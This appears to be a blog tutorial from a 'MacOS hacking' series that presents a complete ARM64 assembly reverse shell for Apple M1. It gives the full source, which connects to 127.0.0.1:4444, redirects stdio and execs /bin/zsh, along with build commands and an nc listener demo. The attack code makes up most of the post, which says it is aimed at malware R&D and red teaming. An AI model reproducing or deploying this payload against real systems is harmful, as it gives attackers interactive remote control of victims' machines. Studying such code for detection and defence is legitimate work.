MacOS hacking part 12: reverse shell for ARM (M1). Simple Assembly (M1) example
quality 7/10 · good
0 net
MacOS hacking part 12: reverse shell for ARM (M1). Simple Assembly (M1) example - cocomelonc You are using an outdated browser. Please upgrade your browser to improve your experience. cocomelonc cybersec enthusiast. mathematician. author. speaker. hacker Follow Istanbul Email Twitter GitHub LinkedIn Custom Social Profile Link --> ﷽ Hello, cybersecurity enthusiasts and white hackers! In the previous post , our bind shell for M1 worked flawlessly. But when you switch from bind() to connect() , suddenly nothing happens. Same syscalls, same logic - but connect silently fails. Why? Because Darwin (BSD) cares about how you pack your sockaddr_in : sin_len , big-endian port, and stable address pointers. Miss one byte - and the syscall collapses. few words about bind and reverse shell in ARM M1 So, in the other words, the bind-shell we already have works because it avoids two fragile things: a remote address and precise byte layout. Binding to INADDR_ANY is forgiving. Connecting requires a 16-byte struct sockaddr_in with a correct sin_len , sin_family , network-order port, and a pointer that survives relocations. On Darwin (BSD) sin_len is not optional; endianness mistakes silently break connect. Also, building the structure in registers with many movk/lsl operations is brittle across pages and relocations - use .data + adrp/add for a predictable pointer. That’s the practical rule you’ll see repeated in this post. practical example Let’s create simple reverse shell. Start in _main (or _start if you link differently). The code uses BSD syscall numbers that matched our working bind example: 97 for socket, 98 for connect, 90 for dup2, 59 for execve. These syscalls expect conventional arm64 argument/return behavior: x0..x7 for args, x0 for return. So, we start as usual, open a TCP socket with socket(AF_INET, SOCK_STREAM, 0) : ; create socket: socket(AF_INET, SOCK_STREAM, 0) mov x0 , # 2 mov x1 , # 1 mov x2 , xzr mov x16 , # 97 svc # 0xffff ; check result in x0 (>=0) cmp x0 , # 0 blt _exit_fail ; save socket fd mov x19 , x0 BSD uses syscall 97 for socket. Return value in x0 - negative means error. Store the socket FD in x19 , which is callee-saved and safe across syscalls. Then we need to prepare sockaddr_in . This is where most connect PoCs die. On Linux you can omit sin_len ; on macOS you can’t. The structure must be exactly 16 bytes: We place it directly in .data , not on the stack: .data sockaddr_in: .byte 16 , 2 , 0x11 , 0x5c , 127 , 0 , 0 , 1 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 .text and reference it safely with ADRP/ADD : ; prepare pointer to sockaddr_in (use adrp/add) adrp x1 , sockaddr_in@PAGE add x1 , x1 , sockaddr_in@PAGEOFF mov x2 , # 16 ; sizeof(struct sockaddr_in) That gives a reloc-safe pointer to the structure, even if code and data land on different pages. Then for connecting to the listener, we neede to call connect(sockfd, addr, len) : ; connect(sockfd, addr, addrlen) mov x0 , x19 mov x16 , # 98 ; bsd syscall: connect (98) svc # 0xffff cmp x0 , # 0 blt _exit_fail this connection logic returns 0 on success. If you forgot sin_len or mixed endian on the port, it fails silently. For example, typical lab error: writing 0x5C11 instead of 0x115C . Once connected, all we need is I/O redirection: ; redirect stderr/stdout/stdin -> socket using dup2 ; dup2(sock, 2) mov x0 , x19 mov x1 , # 2 mov x16 , # 90 svc # 0xffff ; dup2(sock, 1) mov x0 , x19 mov x1 , # 1 ; x16 already 90, but set again for clarity mov x16 , # 90 svc # 0xffff ; dup2(sock, 0) mov x0 , x19 mov x1 , # 0 mov x16 , # 90 svc # 0xffff After these three syscalls, stdin/out/err point to the network socket. Anything typed in the listener appears here. Finally, launch the shell: build /bin/zsh on the stack and call execve : ; execve("/bin/zsh", ["/bin/zsh", NULL], NULL) ; push path mov x3 , # 0x622f ; "/b" movk x3 , # 0x6e69 , lsl#16 ; "in" movk x3 , # 0x7a2f , lsl#32 ; "/z" movk x3 , # 0x6873 , lsl#48 ; "sh" stp x3 , xzr , [ sp , # - 16 ] ! ; "/bin/zsh\0" ; argv = { path, NULL } add x0 , sp , xzr ; x0 = pointer to path stp x0 , xzr , [ sp , # - 16 ] ! ; push argv array add x1 , sp , xzr ; x1 = argv mov x2 , xzr ; envp = NULL mov x16 , # 59 ; execve (bsd syscall 59) svc # 0xffff If execve succeeds, this process image is replaced by zsh . If it returns, something broke, and we exit. _exit_fail: mov x0 , # 1 bl _exit So, full source code looks like this hack.s : ; hack.s ; apple M1 ARM reverse shell ; author: cocomelonc ; https://cocomelonc.github.io/macos/2025/10/15/malware-mac-12.html .text .global _start .align 2 .section __TEXT , __text ; sockaddr_in for 127.0.0.1:4444 ; memory layout (little-endian): ; sin_len (1), sin_family (1), sin_port (2 BE), sin_addr (4), sin_zero[8] .data sockaddr_in: .byte 16 , 2 , 0x11 , 0x5c , 127 , 0 , 0 , 1 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 .text _start: ; create socket: socket(AF_INET, SOCK_STREAM, 0) mov x0 , # 2 mov x1 , # 1 mov x2 , xzr mov x16 , # 97 svc # 0xffff ; check result in x0 (>=0) cmp x0 , # 0 blt _exit_fail ; save socket fd mov x19 , x0 ; prepare pointer to sockaddr_in (use adrp/add) adrp x1 , sockaddr_in@PAGE add x1 , x1 , sockaddr_in@PAGEOFF mov x2 , # 16 ; address length ; connect(sockfd, addr, addrlen) mov x0 , x19 mov x16 , # 98 ; bsd syscall: connect (98) svc # 0xffff cmp x0 , # 0 blt _exit_fail ; redirect stderr/stdout/stdin -> socket using dup2 ; dup2(sock, 2) mov x0 , x19 mov x1 , # 2 mov x16 , # 90 svc # 0xffff ; dup2(sock, 1) mov x0 , x19 mov x1 , # 1 ; x16 already 90, but set again for clarity mov x16 , # 90 svc # 0xffff ; dup2(sock, 0) mov x0 , x19 mov x1 , # 0 mov x16 , # 90 svc # 0xffff ; execve("/bin/zsh", ["/bin/zsh", NULL], NULL) ; push path mov x3 , # 0x622f ; "/b" movk x3 , # 0x6e69 , lsl#16 ; "in" movk x3 , # 0x7a2f , lsl#32 ; "/z" movk x3 , # 0x6873 , lsl#48 ; "sh" stp x3 , xzr , [ sp , # - 16 ] ! ; "/bin/zsh\0" ; argv = { path, NULL } add x0 , sp , xzr ; x0 = pointer to path stp x0 , xzr , [ sp , # - 16 ] ! ; push argv array add x1 , sp , xzr ; x1 = argv mov x2 , xzr ; envp = NULL mov x16 , # 59 ; execve (bsd syscall 59) svc # 0xffff ;if execve returns -> exit _exit_fail: mov x0 , # 1 mov x16 , # 1 ; exit syscall wrapper via libc _exit may differ ; we call _exit via symbol below ; call libc _exit to be safe bl _exit demo Let’s go to see this in action. Compile: as -arch arm64 hack.s -o hack.o then link: ld -arch arm64 -e _start -o hack2 hack2.o -lSystem -syslibroot $( xcrun --sdk macosx --show-sdk-path ) Then run listener in the first terminal: nc -l -p 4444 Then run in the another: ./hack As you can see, when the connection succeeds, you get an interactive zsh prompt inside nc . Everything is worked perfectly as expected! =^..^= conclusion Reverse shells are the oldest trick in the offensive programming and malware dev. They appear in post-exploitation toolkits and stagers everywhere - from old Metasploit payloads to modern Cobalt Strike and Sliver beacons. The core pattern is always the same: connect , dup2 then execve("/bin/sh") . Of course, this isn’t a “perfect” reverse shell, but it’s functional and understandable. It can be further developed at your discretion. I might return to this in future posts. I hope that this post is useful for malware R&D, shellcode development, and red teaming labs, Apple/Mac researchers and as always, for blue team specialists. macOS hacking part 1 macOS hacking part 11 source code in github This is a practical case for educational purposes only. Thanks for your time happy hacking and good bye! PS. All drawings and screenshots are mine Share on Twitter Facebook LinkedIn You may also enjoy MacOS malware persistence 9: emond (The Event Monitor Daemon). Simple C example 3 minute read ﷽ MacOS malware persistence 8: periodic scripts. Simple C example 3 minute read ﷽ MacOS hacking part 13: sysinfo stealer via VirusTotal API. Simple C example 4 minute read ﷽ MacOS malware persistence 7: Re-opened applications. Simple C example 7 minute read ﷽